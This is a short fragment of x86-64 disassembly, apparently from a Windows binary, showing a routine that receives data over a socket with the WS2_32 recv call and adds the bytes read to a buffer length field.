mov qword [rdi + rbx + 0x258], rax
test rax, rax
jne 0x1400443b9
mov qword [rdi + rbx + 0x260], rcx
jmp 0x1400443e7
mov rdx, qword [rdi + rbx + 0x258]
xor r9d, r9d
mov r8d, esi
add rdx, qword [rdi + rbx + 0x268]
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
test eax, eax
jle 0x1400443e7
add qword [rdi + rbx + 0x268], rcx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret